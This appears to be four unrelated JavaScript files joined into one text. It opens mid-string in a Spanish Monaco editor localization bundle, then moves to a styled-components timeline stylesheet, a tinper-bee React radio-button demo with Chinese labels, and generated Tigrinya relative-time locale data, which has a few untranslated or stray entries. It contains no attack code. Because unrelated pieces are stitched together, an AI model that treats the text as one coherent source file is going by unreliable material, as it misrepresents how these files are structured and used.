realizadas en {1} archivos"], "vs/editor/common/view/editorColorRegistry":["Color de fondo para la línea resaltada en la posición del cursor.","Color de fondo del borde alrededor de la línea en la posición del cursor.","Color de fondo de rangos resaltados, como en abrir rápido y encontrar características. El color no debe ser opaco para no ocultar decoraciones subyacentes.","Color de fondo del borde alrededor de los intervalos resaltados.","Color del cursor del editor.","Color de fondo del cursor de edición. Permite personalizar el color del caracter solapado por el bloque del cursor.","Color de los caracteres de espacio en blanco del editor.","Color de las guías de sangría del editor.","Color de las guías de sangría activas del editor.","Color de números de línea del editor.","Color del número de línea activa en el editor","ID es obsoleto. Usar en lugar 'editorLineNumber.activeForeground'. ","Color del número de línea activa en el editor","Color de las reglas del editor","Color principal de lentes de código en el editor","Color de fondo tras corchetes coincidentes","Color de bloques con corchetes coincidentes","Color del borde de la regla de visión general.","Color de fondo del margen del editor. Este espacio contiene los márgenes de glifos y los números de línea.","Color del borde de código fuente innecesario (sin usar) en el editor.","Opacidad de código fuente innecesario (sin usar) en el editor. Por ejemplo, \"#000000c0\" representará el código con un 75 % de opacidad. Para temas de alto contraste, utilice el color del tema 'editorUnnecessaryCode.border' para resaltar el código innecesario en vez de atenuarlo.","Color de marcador de regla de información general para errores. ","Color de marcador de regla de información general para advertencias.","Color de marcador de regla de información general para mensajes informativos. "], "vs/editor/contrib/bracketMatching/bracketMatching":["Resumen color de marcador de regla para corchetes.","Ir al corchete","Seleccionar para corchete","Ir al &&corchete"],"vs/editor/contrib/caretOperations/caretOperations":["Mover símbolo de inserción a la izquierda","Mover símbolo de inserción a la derecha"],"vs/editor/contrib/caretOperations/transpose":["Transponer letras"],"vs/editor/contrib/clipboard/clipboard":["Cortar","Cor&&tar","Copiar","C&&opiar","Pegar","&&Pegar","Copiar con resaltado de sintaxis"],"vs/editor/contrib/codeAction/codeActionCommands":["Corrección Rápida","No hay acciones de código disponibles","No hay acciones de código disponibles","Refactorizar...","No hay refactorizaciones disponibles","Acción de Origen...","No hay acciones de origen disponibles","Organizar Importaciones","No hay acciones de importación disponibles","Corregir todo","No está disponible la acción de corregir todo","Corregir automáticamente...","No hay autocorrecciones disponibles"], "vs/editor/contrib/codeAction/lightBulbWidget":["Mostrar correcciones ({0})","Mostrar correcciones"],"vs/editor/contrib/comment/comment":["Alternar comentario de línea","&&Alternar comentario de línea","Agregar comentario de línea","Quitar comentario de línea","Alternar comentario de bloque","Alternar &&bloque de comentario"],"vs/editor/contrib/contextmenu/contextmenu":["Mostrar menú contextual del editor"],"vs/editor/contrib/cursorUndo/cursorUndo":["Deshacer la última confirmación"],"vs/editor/contrib/find/findController":["Buscar","&&Buscar","Buscar con selección","Buscar siguiente","Buscar siguiente","Buscar anterior","Buscar anterior","Buscar selección siguiente","Buscar selección anterior","Reemplazar","&&Reemplazar"], "vs/editor/contrib/find/findWidget":["Buscar","Buscar","Coincidencia anterior","Próxima coincidencia","Buscar en selección","Cerrar","Reemplazar","Reemplazar","Reemplazar","Reemplazar todo","Alternar modo de reemplazar","Sólo los primeros {0} resultados son resaltados, pero todas las operaciones de búsqueda trabajan en todo el texto.","{0} de {1}","No hay resultados","Encontrados: {0}","Encontrados: {0} para {1}","Encontrados: {0} para {1} en {2}","Encontrados: {0} para {1}","Ctrl+Entrar ahora inserta un salto de línea en lugar de reemplazar todo. Puede modificar el enlace de claves para editor.action.replaceAll para invalidar este comportamiento."],"vs/editor/contrib/folding/folding":["Desplegar","Desplegar de forma recursiva","Plegar","Plegar de forma recursiva","Cerrar todos los comentarios de bloque","Plegar todas las regiones","Desplegar Todas las Regiones","Plegar todo","Desplegar todo","Nivel de plegamiento {0}"], "vs/editor/contrib/fontZoom/fontZoom":["Acercarse a la tipografía del editor","Alejarse de la tipografía del editor","Restablecer alejamiento de la tipografía del editor"],"vs/editor/contrib/format/format":["1 edición de formato en la línea {0}","{0} ediciones de formato en la línea {1}","1 edición de formato entre las líneas {0} y {1}","{0} ediciones de formato entre las líneas {1} y {2}"],"vs/editor/contrib/format/formatActions":["Dar formato al documento","Dar formato a la selección"], "vs/editor/contrib/goToDefinition/goToDefinitionCommands":['No se encontró ninguna definición para "{0}"',"No se encontró ninguna definición"," – {0} definiciones","Ir a definición","Abrir definición en el lateral","Ver la definición","No se encontró ninguna definición para '{0}'","No se encontró ninguna declaración","– {0} declaraciones","Ir a Definición","No se encontró ninguna definición para '{0}'","No se encontró ninguna declaración","– {0} declaraciones","Inspeccionar Definición",'No se encontró ninguna implementación para "{0}"',"No se encontró ninguna implementación","– {0} implementaciones","Ir a implementación","Inspeccionar implementación",'No se encontró ninguna definición de tipo para "{0}"',"No se encontró ninguna definición de tipo"," – {0} definiciones de tipo","Ir a la definición de tipo","Inspeccionar definición de tipo","Ir a &&definición","Ir a la definición de &&tipo","Ir a la &&implementación"], "vs/editor/contrib/goToDefinition/goToDefinitionMouse":["Haga clic para mostrar {0} definiciones."],"vs/editor/contrib/goToDefinition/goToDefinitionResultsNavigation":["Símbolo {0} de {1}, {2} para el siguiente","Símbolo {0} de {1}"],"vs/editor/contrib/gotoError/gotoError":["Ir al siguiente problema (Error, Advertencia, Información)","Ir al problema anterior (Error, Advertencia, Información)","Ir al siguiente problema en Archivos (Error, Advertencia, Información)","Ir al problema anterior en Archivos (Error, Advertencia, Información)","Siguiente &&problema","Anterior &&problema"],"vs/editor/contrib/gotoError/gotoErrorWidget":["{0} de {1} problemas","{0} de {1} problema","Color de los errores del widget de navegación de marcadores del editor.","Color de las advertencias del widget de navegación de marcadores del editor.","Color del widget informativo marcador de navegación en el editor.","Fondo del widget de navegación de marcadores del editor."], "vs/editor/contrib/hover/hover":["Mostrar al mantener el puntero"],"vs/editor/contrib/hover/modesContentHover":["Cargando...","Problema de pico","Buscando correcciones rápidas...","No hay correcciones rápidas disponibles","Corrección Rápida"],"vs/editor/contrib/inPlaceReplace/inPlaceReplace":["Reemplazar con el valor anterior","Reemplazar con el valor siguiente"], "vs/editor/contrib/linesOperations/linesOperations":["Copiar línea arriba","&&Copiar línea arriba","Copiar línea abajo","Co&&piar línea abajo","Mover línea hacia arriba","Mo&&ver línea arriba","Mover línea hacia abajo","Mover &&línea abajo","Ordenar líneas en orden ascendente","Ordenar líneas en orden descendente","Recortar espacio final","Eliminar línea","Sangría de línea","Anular sangría de línea","Insertar línea arriba","Insertar línea debajo","Eliminar todo a la izquierda","Eliminar todo lo que está a la derecha","Unir líneas","Transponer caracteres alrededor del cursor","Transformar a mayúsculas","Transformar a minúsculas","Transformar en Title Case"],"vs/editor/contrib/links/links":["Ejecutar comando","Seguir vínculo","cmd + clic","ctrl + clic","opción + clic","alt + clic","No se pudo abrir este vínculo porque no tiene un formato correcto: {0}","No se pudo abrir este vínculo porque falta el destino.","Abrir vínculo"], "vs/editor/contrib/message/messageController":["No se puede editar en un editor de sólo lectura"],"vs/editor/contrib/multicursor/multicursor":["Agregar cursor arriba","&&Agregar cursor arriba","Agregar cursor debajo","A&&gregar cursor abajo","Añadir cursores a finales de línea","Agregar c&&ursores a extremos de línea","Añadir cursores a la parte inferior","Añadir cursores a la parte superior","Agregar selección hasta la siguiente coincidencia de búsqueda","Agregar &&siguiente repetición","Agregar selección hasta la anterior coincidencia de búsqueda","Agregar r&&epetición anterior","Mover última selección hasta la siguiente coincidencia de búsqueda","Mover última selección hasta la anterior coincidencia de búsqueda","Seleccionar todas las repeticiones de coincidencia de búsqueda","Seleccionar todas las &&repeticiones","Cambiar todas las ocurrencias"],"vs/editor/contrib/parameterHints/parameterHints":["Sugerencias para parámetros Trigger"], "vs/editor/contrib/parameterHints/parameterHintsWidget":["{0}, sugerencia"],"vs/editor/contrib/referenceSearch/peekViewWidget":["Cerrar"],"vs/editor/contrib/referenceSearch/referenceSearch":[" – {0} referencias","Inspeccionar Referencias"],"vs/editor/contrib/referenceSearch/referencesController":["Cargando..."],"vs/editor/contrib/referenceSearch/referencesModel":["símbolo en {0} linea {1} en la columna {2}","1 símbolo en {0}, ruta de acceso completa {1}","{0} símbolos en {1}, ruta de acceso completa {2}","No se encontraron resultados","Encontró 1 símbolo en {0}","Encontró {0} símbolos en {1}","Encontró {0} símbolos en {1} archivos"],"vs/editor/contrib/referenceSearch/referencesTree":["Error al resolver el archivo.","{0} referencias","{0} referencia"], "vs/editor/contrib/referenceSearch/referencesWidget":["vista previa no disponible","Referencias","No hay resultados","Referencias","Color de fondo del área de título de la vista de inspección.","Color del título de la vista de inpección.","Color de la información del título de la vista de inspección.","Color de los bordes y la flecha de la vista de inspección.","Color de fondo de la lista de resultados de vista de inspección.","Color de primer plano de los nodos de inspección en la lista de resultados.","Color de primer plano de los archivos de inspección en la lista de resultados.","Color de fondo de la entrada seleccionada en la lista de resultados de vista de inspección.","Color de primer plano de la entrada seleccionada en la lista de resultados de vista de inspección.","Color de fondo del editor de vista de inspección.","Color de fondo del margen en el editor de vista de inspección.","Buscar coincidencia con el color de resaltado de la lista de resultados de vista de inspección.","Buscar coincidencia del color de resultado del editor de vista de inspección.","Hacer coincidir el borde resaltado en el editor de vista previa."], "vs/editor/contrib/rename/rename":["No hay ningún resultado.","Error desconocido al resolver el cambio de nombre de la ubicación","Nombre cambiado correctamente de '{0}' a '{1}'. Resumen: {2}","No se pudo cambiar el nombre.","Cambiar el nombre del símbolo"],"vs/editor/contrib/rename/renameInputField":["Cambie el nombre de la entrada. Escriba el nuevo nombre y presione Entrar para confirmar."],"vs/editor/contrib/smartSelect/smartSelect":["Expandir selección","&&Expandir selección","Reducir la selección","&&Reducir selección"],"vs/editor/contrib/snippet/snippetVariables":["Domingo","Lunes","Martes","Miércoles","Jueves","Viernes","Sábado","Dom","Lun","Mar","Mié","Jue","Vie","Sáb","Enero","Febrero","Marzo","Abril","May","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre","Ene","Feb","Mar","Abr","May","Jun","Jul","Ago","Sep","Oct","Nov","Dic"],"vs/editor/contrib/suggest/suggestController":['Aceptando "{0}" ediciones adicionales de {1} realizadas',"Sugerencias para Trigger"], "vs/editor/contrib/suggest/suggestWidget":["Color de fondo del widget sugerido.","Color de borde del widget sugerido.","Color de primer plano del widget sugerido.","Color de fondo de la entrada seleccionada del widget sugerido.","Color del resaltado coincidido en el widget sugerido.","Leer más...{0}","Leer menos...{0}","Cargando...","Cargando...","No hay sugerencias.","Elemento {0}, documentos: {1}"],"vs/editor/contrib/toggleTabFocusMode/toggleTabFocusMode":["Alternar tecla de tabulación para mover el punto de atención","Presionando la pestaña ahora moverá el foco al siguiente elemento enfocable.","Presionando la pestaña ahora insertará el carácter de tabulación"],"vs/editor/contrib/tokenization/tokenization":["Desarrollador: forzar nueva aplicación de token"], "vs/editor/contrib/wordHighlighter/wordHighlighter":["Color de fondo de un símbolo durante el acceso de lectura, como la lectura de una variable. El color no debe ser opaco para no ocultar decoraciones subyacentes.","Color de fondo de un símbolo durante el acceso de escritura, como escribir en una variable. El color no debe ser opaco para no ocultar las decoraciones subyacentes.","Color de fondo de un símbolo durante el acceso de lectura; por ejemplo, cuando se lee una variable.","Color de fondo de un símbolo durante el acceso de escritura; por ejemplo, cuando se escribe una variable.","Color del marcador de regla general para destacados de símbolos. El color no debe ser opaco para no ocultar decoraciones subyacentes.","Color de marcador de regla general para destacados de símbolos de acceso de escritura. El color no debe ser opaco para no ocultar las decoraciones subyacentes.","Ir al siguiente símbolo destacado","Ir al símbolo destacado anterior","Desencadenar los símbolos destacados"], "vs/platform/configuration/common/configurationRegistry":["La configuración predeterminada se reemplaza","Establecer los valores de configuración que se reemplazarán para un lenguaje.",'No se puede registrar "{0}". Coincide con el patrón de propiedad \'\\\\[.*\\\\]$\' para describir la configuración del editor específica del lenguaje. Utilice la contribución "configurationDefaults".','No se puede registrar "{0}". Esta propiedad ya está registrada.'],"vs/platform/keybinding/common/abstractKeybindingService":["Se presionó ({0}). Esperando la siguiente tecla...","La combinación de teclas ({0}, {1}) no es ningún comando."], "vs/platform/list/browser/listService":["Área de trabajo",'Se asigna a "Control" en Windows y Linux y a "Comando" en macOS.','Se asigna a "Alt" en Windows y Linux y a "Opción" en macOS.',"El modificador que se utilizará para agregar un elemento en los árboles y listas para una selección múltiple con el ratón (por ejemplo en el explorador, abiertos editores y vista de scm). Los gestos de ratón 'Abrir hacia' - si están soportados - se adaptarán de forma tal que no tenga conflicto con el modificador múltiple.","Controla cómo abrir elementos en árboles y listas usando el ratón (si está soportado). Para elementos padres con hijos en los árboles, esta configuración controlará si de un solo click o un doble click expande al elemento padre. Tenga en cuenta que algunos árboles y listas pueden optar por ignorar esta configuración si no se aplica.","Controla si las listas y los árboles admiten el desplazamiento horizontal en el área de trabajo.","Controla el esplazamiento horizontal de los árboles en la mesa de trabajo.",'Esta configuración está obsoleta, utilice "{0}" en su lugar.',"Controla la sangría de árbol en píxeles.","Controla si el árbol debe representar guías de sangría.","La navegación simple del teclado se centra en elementos que coinciden con la entrada del teclado. El emparejamiento se hace solo en prefijos.","Destacar la navegación del teclado resalta los elementos que coinciden con la entrada del teclado. Más arriba y abajo la navegación atravesará solo los elementos destacados.","La navegación mediante el teclado de filtro filtrará y ocultará todos los elementos que no coincidan con la entrada del teclado.","Controla el estilo de navegación del teclado para listas y árboles en el área de trabajo. Puede ser simple, resaltar y filtrar.",'Controla si la navegación del teclado en listas y árboles se activa automáticamente simplemente escribiendo. Si se establece en "false", la navegación con el teclado solo se activa al ejecutar el comando "list.toggleKeyboardNavigation", para el cual puede asignar un método abreviado de teclado.'], "vs/platform/markers/common/markers":["Error","Advertencia","Información"], "vs/platform/theme/common/colorRegistry":["Color de primer plano general. Este color solo se usa si un componente no lo invalida.","Color de primer plano general para los mensajes de erroe. Este color solo se usa si un componente no lo invalida.","Color de borde de los elementos con foco. Este color solo se usa si un componente no lo invalida.","Un borde adicional alrededor de los elementos para separarlos unos de otros y así mejorar el contraste.","Un borde adicional alrededor de los elementos activos para separarlos unos de otros y así mejorar el contraste.","Color de primer plano para los vínculos en el texto.","Color de fondo para los bloques de código en el texto.","Color de sombra de los widgets dentro del editor, como buscar/reemplazar","Fondo de cuadro de entrada.","Primer plano de cuadro de entrada.","Borde de cuadro de entrada.","Color de borde de opciones activadas en campos de entrada.","Color de fondo de las opciones activadas en los campos de entrada.","Color de fondo de validación de entrada para gravedad de información.","Color de primer plano de validación de entrada para información de gravedad.","Color de borde de validación de entrada para gravedad de información.","Color de fondo de validación de entrada para gravedad de advertencia.","Color de primer plano de validación de entrada para información de advertencia.","Color de borde de validación de entrada para gravedad de advertencia.","Color de fondo de validación de entrada para gravedad de error.","Color de primer plano de validación de entrada para información de error.","Color de borde de valdación de entrada para gravedad de error.","Fondo de lista desplegable.","Primer plano de lista desplegable.","Color de fondo de la lista o el árbol del elemento con el foco cuando la lista o el árbol están activos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.","Color de fondo de la lista o el árbol del elemento con el foco cuando la lista o el árbol están activos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.","Color de fondo de la lista o el árbol del elemento seleccionado cuando la lista o el árbol están activos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.","Color de primer plano de la lista o el árbol del elemento con el foco cuando la lista o el árbol están activos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.","Color de fondo de la lista o el árbol del elemento seleccionado cuando la lista o el árbol están inactivos. Una lista o un árbol tienen el foco del teclado cuando están activos, cuando están inactivos no.","Color de primer plano de la lista o el árbol del elemento con el foco cuando la lista o el árbol esta inactiva. Una lista o un árbol tiene el foco del teclado cuando está activo, cuando esta inactiva no.","Color de fondo de la lista o el árbol del elemento con el foco cuando la lista o el árbol están inactivos. Una lista o un árbol tienen el foco del teclado cuando están activos, pero no cuando están inactivos.","Fondo de la lista o el árbol al mantener el mouse sobre los elementos.","Color de primer plano de la lista o el árbol al pasar por encima de los elementos con el ratón.","Fondo de arrastrar y colocar la lista o el árbol al mover los elementos con el mouse.","Color de primer plano de la lista o el árbol de las coincidencias resaltadas al buscar dentro de la lista o el ábol.","Color de fondo del widget de filtro de tipo en listas y árboles.","Color de contorno del widget de filtro de tipo en listas y árboles.","Color de contorno del widget de filtro de tipo en listas y árboles, cuando no hay coincidencias.","Color de trazo de árbol para las guías de sangría.","Selector de color rápido para la agrupación de etiquetas.","Selector de color rápido para la agrupación de bordes.","Color de fondo de la insignia. Las insignias son pequeñas etiquetas de información, por ejemplo los resultados de un número de resultados.","Color de fondo de la insignia. Las insignias son pequeñas etiquetas de información, por ejemplo los resultados de un número de resultados.","Sombra de la barra de desplazamiento indica que la vista se ha despazado.","Color de fondo de control deslizante de barra de desplazamiento.","Color de fondo de barra de desplazamiento cursor cuando se pasar sobre el control.","Color de fondo de la barra de desplazamiento al hacer clic.","Color de fondo para la barra de progreso que se puede mostrar para las operaciones de larga duración.","Color del borde de los menús.","Color de primer plano de los elementos de menú.","Color de fondo de los elementos de menú. ","Color de primer plano del menu para el elemento del menú seleccionado.","Color de fondo del menu para el elemento del menú seleccionado.","Color del borde del elemento seleccionado en los menús.","Color del separador del menu para un elemento del menú.","Color de primer plano de squigglies de error en el editor.","Color del borde de los cuadros de error en el editor.","Color de primer plano de squigglies de advertencia en el editor.","Color del borde de los cuadros de advertencia en el editor.","Color de primer plano de los subrayados ondulados informativos en el editor.","Color del borde de los cuadros de información en el editor.","Color de primer plano de pista squigglies en el editor.","Color del borde de los cuadros de sugerencia en el editor.","Color de fondo del editor.","Color de primer plano predeterminado del editor.","Color de fondo del editor de widgets como buscar/reemplazar","Color de primer plano de los widgets del editor, como buscar y reemplazar.","Color de borde de los widgets del editor. El color solo se usa si el widget elige tener un borde y no invalida el color.","Color del borde de la barra de cambio de tamaño de los widgets del editor. El color se utiliza solo si el widget elige tener un borde de cambio de tamaño y si un widget no invalida el color.","Color de la selección del editor.","Color del texto seleccionado para alto contraste.","Color de la selección en un editor inactivo. El color no debe ser opaco para no ocultar decoraciones subyacentes.","Color en las regiones con el mismo contenido que la selección. El color no debe ser opaco para no ocultar decoraciones subyacentes.","Color de borde de las regiones con el mismo contenido que la selección.","Color de la coincidencia de búsqueda actual.","Color de los otros resultados de la búsqueda. El color no debe ser opaco para no ocultar las decoraciones subyacentes.","Color de la gama que limita la búsqueda. El color no debe ser opaco para no ocultar decoraciones subyacentes.","Color de borde de la coincidencia de búsqueda actual.","Color de borde de otra búsqueda que coincide.","Color del borde de la gama que limita la búsqueda. El color no debe ser opaco para no ocultar las decoraciones subyacentes.","Destacar debajo de la palabra para la que se muestra un mensaje al mantener el mouse. El color no debe ser opaco para no ocultar decoraciones subyacentes.","Color de fondo al mantener el puntero en el editor.","Color del borde al mantener el puntero en el editor.","Color de fondo de la barra de estado al mantener el puntero en el editor.","Color de los vínculos activos.","Color de fondo para el texto que se insertó. El color no debe ser opaco para no ocultar las decoraciones subyacentes.","Color de fondo para el texto que se eliminó. El color no debe ser opaco para no ocultar decoraciones subyacentes.","Color de contorno para el texto insertado.","Color de contorno para el texto quitado.","Color del borde entre ambos editores de texto.","Resaltado del color de fondo para una ficha de un fragmento de código.","Resaltado del color del borde para una ficha de un fragmento de código.","Resaltado del color de fondo para la última ficha de un fragmento de código.","Resaltado del color del borde para la última ficha de un fragmento de código.","Color del marcador de regla general para buscar actualizaciones. El color no debe ser opaco para no ocultar las decoraciones subyacentes.","Color del marcador de la regla general para los destacados de la selección. El color no debe ser opaco para no ocultar las decoraciones subyacentes.","Color de marcador de minimapa para coincidencias de búsqueda."] }); //# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.es.js.map
import styled from 'styled-components'; const size = { mobileS: '320px', mobileM: '375px', mobileL: '425px', tablet: '768px', laptop: '1024px', laptopL: '1440px', desktop: '2560px' } export const LineUl = styled.ul` border-left: 4px solid #f2d50f; border-bottom-right-radius: 4px; border-top-right-radius: 4px; background: rgba(255, 255, 255, 0.03); color: rgba(255, 255, 255,0.656); font-family: 'Chivo', sans-serif; margin: 50px 100px 50px 0; letter-spacing: 0.5px; position: relative; line-height: 1.4em; font-size: 1.1em; padding: 50px; list-style: none; text-align: left; font-weight: 100; // max-width: 40%; transition:all 0.3s ease-in; h1{ font-family: 'Saira', sans-serif; letter-spacing: 1.5px; font-weight: 100; font-size: 1em; } [data-date]{ font-size:16px; } h2,h3{ font-family: 'Saira', sans-serif; letter-spacing: 1.5px; font-weight: 400; font-size: 0.6em; } @media(max-width:${size.mobileL}) and (min-width:${size.mobileS}){ font-size:1.33em; max-width: 100%; margin: 0; & h2,h3{ font-size: 0.55em; } } @media(max-width:${size.laptop}) and (min-width:${size.tablet}){ font-size:1.33em; margin: 0; } ` export const LineLi = styled.li` border-bottom: 1px dashed rgba(255, 255, 255, 0.1); width: 220px; padding: 0 0 0 25px; margin-bottom: 50px; position: relative; &:last-of-type{ padding-bottom: 0; margin-bottom: 0; border: none; } &:before{ left: -217.5px; color: rgb(97, 97, 97); content: attr(data-date); text-align: right; font-weight: 100; font-size: 0.9em; min-width: 120px; font-family: 'Saira', sans-serif; } &:after{ box-shadow: 0 0 0 4px #f2d50f; left: -57.85px; background: #ffffff; border-radius: 50%; height: 11px; width: 11px; content: ""; top: 5px; } &:before,&:after{ position: absolute; display: block; top: 0; } & p{ font-family: 'Saira', sans-serif; letter-spacing: 1.5px; font-weight: 400; font-size: 0.6em; } ` export const BadgeWrapper = styled.div` display: flex; flex-flow: row nowrap; justify-content:space-between; padding:10px 2px; `; export const ComponentsWrapper = styled.div` display: flex; flex-flow: column nowrap; `; export const Title = styled.h1` font: normal 900 2em/ 1 'Montserrat', sans- serif; text-align:left; // margin-right:100px; padding:10px 0 0 10px; background-color: rgba(255,255,255,0.675); // background:linear-gradient(165deg, #f02fc2 0%,#6094ea 100%); background-size: 100%; -webkit-background-clip: text; -moz-background-clip: text; -webkit-text-fill-color: transparent; -moz-text-fill-color: transparent; @media(max-width:${size.mobileL}) and (min-width:${size.mobileS}){ font: normal 900 2em/ 1 'Montserrat', sans- serif; text-align:center; } `; export const SubTitle = styled.p` font: normal 500 0.9em/ 1 'Montserrat', sans- serif; text-align:left; color:rgba(255,255,255,0.899); padding:20px 20px 20px 0; // text-transform:capitalize; @media(max-width:${size.tablet}) and (min-width:${size.mobileS}){ font: normal 500 1em/ 1 'Montserrat', sans- serif; text-align:center; margin:0; } `;
import React, {Component} from 'react'; import {Tile, Radio} from 'tinper-bee'; import './index.less'; export default class RadioDemo extends Component { state = { selectedValue: "1" } handleChange(value) { this.setState({selectedValue: value}); } render() { return ( <div className="radio-demo"> <Tile className="radio-demo-tile demo-tile"> <h3>单选框</h3> <div className="radio-demo-row"> <Radio.RadioGroup name="fruits" selectedValue={this.state.selectedValue} onChange={this.handleChange.bind(this)}> <Radio colors="primary" value="1" >苹果</Radio> <Radio colors="success" value="2" >香蕉</Radio> <Radio colors="info" value="3" >葡萄</Radio> <Radio colors="warning" value="4" >菠萝</Radio> <Radio colors="danger" value="5" >梨</Radio> <Radio colors="dark" value="6" >石榴</Radio> </Radio.RadioGroup> </div> </Tile> </div> ) } }
/* @generated */ // prettier-ignore if (Intl.RelativeTimeFormat && typeof Intl.RelativeTimeFormat.__addLocaleData === 'function') { Intl.RelativeTimeFormat.__addLocaleData({"data":{"ti":{"nu":["latn"],"year":{"0":"ሎሚ ዓመት","1":"ንዓመታ","future":{"one":"ኣብ {0} ዓ","other":"ኣብ {0} ዓ"},"past":{"one":"ቅድሚ {0} ዓ","other":"ቅድሚ {0} ዓ"},"-1":"ዓሚ"},"year-short":{"0":"ሎሚ ዓመት","1":"ንዓመታ","future":{"one":"ኣብ {0} ዓ","other":"ኣብ {0} ዓ"},"past":{"one":"ቅድሚ -{0} ዓ","other":"ቅድሚ {0} ዓ"},"-1":"ዓሚ"},"year-narrow":{"0":"ሎሚ ዓመት","1":"ንዓመታ","future":{"one":"ኣብ {0} ዓ","other":"ኣብ {0} ዓ"},"past":{"one":"ቅድሚ {0} ዓ","other":"ቅድሚ {0} ዓ"},"-1":"ዓሚ"},"quarter":{"0":"ህሉው ርብዒ","1":"ዝመጽእ ርብዒ","future":{"one":"ኣብ {0} ርብዒ","other":"ኣብ {0} ርብዒ"},"past":{"one":"ቅድሚ {0} ርብዒ","other":"ቅድሚ {0} ርብዒ"},"-1":"ዝሓለፈ ርብዒ"},"quarter-short":{"0":"ህሉው ርብዒ","1":"ዝመጽእ ርብዒ","future":{"one":"ኣብ {0} ርብዒ","other":"ኣብ {0} ርብዒ"},"past":{"one":"ቅድሚ {0} ርብዒ","other":"ቅድሚ {0} ርብዒ"},"-1":"ዝሓለፈ ርብዒ"},"quarter-narrow":{"0":"ህሉው ርብዒ","1":"ዝመጽእ ርብዒ","future":{"one":"ኣብ {0} ርብዒ","other":"ኣብ {0} ርብዒ"},"past":{"one":"ቅድሚ {0} ርብዒ","other":"ቅድሚ {0} ርብዒ"},"-1":"ዝሓለፈ ርብዒ"},"month":{"0":"ህሉው ወርሒ","1":"ዝመጽእ ወርሒ","future":{"one":"ኣብ {0} ወርሒ","other":"ኣብ {0} ወርሒ"},"past":{"one":"ቅድሚ {0} ወርሒ","other":"ቅድሚ {0} ወርሒ"},"-1":"last month"},"month-short":{"0":"ህሉው ወርሒ","1":"ዝመጽእ ወርሒ","future":{"one":"ኣብ {0} ወርሒ","other":"ኣብ {0} ወርሒ"},"past":{"one":"ቅድሚ {0} ወርሒ","other":"ቅድሚ {0} ወርሒ"},"-1":"last month"},"month-narrow":{"0":"ህሉው ወርሒ","1":"ዝመጽእ ወርሒ","future":{"one":"ኣብ {0} ወርሒ","other":"ኣብ {0} ወርሒ"},"past":{"one":"ቅድሚ {0} ወርሒ","other":"ቅድሚ {0} ወርሒ"},"-1":"last month"},"week":{"0":"ህሉው ሰሙን","1":"ዝመጽእ ሰሙን","future":{"one":"ኣብ {0} ሰሙን","other":"ኣብ {0} ሰሙን"},"past":{"one":"ቅድሚ {0} ሰሙን","other":"ቅድሚ {0} ሰሙን"},"-1":"ዝሓለፈ ሰሙን"},"week-short":{"0":"ህሉው ሰሙን","1":"ዝመጽእ ሰሙን","future":{"one":"ኣብ {0} ሰሙን","other":"ኣብ {0} ሰሙን"},"past":{"one":"ቅድሚ {0} ሰሙን","other":"ቅድሚ {0} ሰሙን"},"-1":"ዝሓለፈ ሰሙን"},"week-narrow":{"0":"ህሉው ሰሙን","1":"ዝመጽእ ሰሙን","future":{"one":"ኣብ {0} ሰሙን","other":"ኣብ {0} ሰሙን"},"past":{"one":"ቅድሚ {0} ሰሙን","other":"ቅድሚ {0} ሰሙን"},"-1":"ዝሓለፈ ሰሙን"},"day":{"0":"ሎሚ","1":"ጽባሕ","future":{"one":"ኣብ {0} መዓልቲ","other":"ኣብ {0} መዓልቲ"},"past":{"one":"ቅድሚ {0} መዓልቲ","other":"ኣብ {0} መዓልቲ"},"-1":"ትማሊ"},"day-short":{"0":"ሎሚ","1":"ጽባሕ","future":{"one":"ኣብ {0} መዓልቲ","other":"ኣብ {0} መዓልቲ"},"past":{"one":"ቅድሚ {0} መዓልቲ","other":"ቅድሚ {0} መዓልቲ"},"-1":"ትማሊ"},"day-narrow":{"0":"ሎሚ","1":"ጽባሕ","future":{"one":"ኣብ {0} መዓልቲ","other":"ኣብ {0} መዓልቲ"},"past":{"one":"ቅድሚ {0} መዓልቲ","other":"ቅድሚ {0} መዓልቲ"},"-1":"ትማሊ"},"hour":{"0":"ኣብዚ ሰዓት","future":{"one":"ኣብ {0} ሰዓት","other":"ኣብ {0} ሰዓት"},"past":{"one":"ቅድሚ {0} ሰዓት","other":"ቅድሚ {0} ሰዓት"}},"hour-short":{"0":"ኣብዚ ሰዓት","future":{"one":"ኣብ {0} ሰዓት","other":"ኣብ {0} ሰዓት"},"past":{"one":"ቅድሚ {0} ሰዓት","other":"ቅድሚ {0} ሰዓት"}},"hour-narrow":{"0":"ኣብዚ ሰዓት","future":{"one":"ኣብ {0} ሰዓት","other":"ኣብ {0} ሰዓት"},"past":{"one":"ቅድሚ {0} ሰዓት","other":"ቅድሚ {0} ሰዓት"}},"minute":{"0":"ኣብዚ ደቒቕ","future":{"one":"ኣብ {0} ደቒቕ","other":"ኣብ {0} ደቒቕ"},"past":{"one":"ቅድሚ {0} ደቒቕ","other":"ቅድሚ {0} ደቒቕ"}},"minute-short":{"0":"ኣብዚ ደቒቕ","future":{"one":"ኣብ {0} ደቒቕ","other":"ኣብ {0} ደቒቕ"},"past":{"one":"ቅድሚ {0} ደቒቕ","other":"ቅድሚ {0} ደቒቕ"}},"minute-narrow":{"0":"ኣብዚ ደቒቕ","future":{"one":"ኣብ {0} ደቒቕ","other":"ኣብ {0} ደቒቕ"},"past":{"one":"ቅድሚ {0} ደቒቕ","other":"ቅድሚ {0} ደቒቕ"}},"second":{"0":"ሕጂ","future":{"one":"ኣብ {0} ካልኢት","other":"ኣብ {0} ካልኢት"},"past":{"one":"ቅድሚ {0} ካልኢት","other":"ቅድሚ {0} ካልኢት"}},"second-short":{"0":"ሕጂ","future":{"one":"ኣብ {0} ካልኢት","other":"ኣብ {0} ካልኢት"},"past":{"one":"ቅድሚ {0} ካልኢት","other":"ቅድሚ {0} ካልኢት"}},"second-narrow":{"0":"ሕጂ","future":{"one":"ኣብ {0} ካልኢት","other":"ኣብ {0} ካልኢት"},"past":{"one":"ቅድሚ {0} ካልኢት","other":"ቅድሚ {0} ካልኢት"}}}},"availableLocales":["ti-ER","ti"]}) }
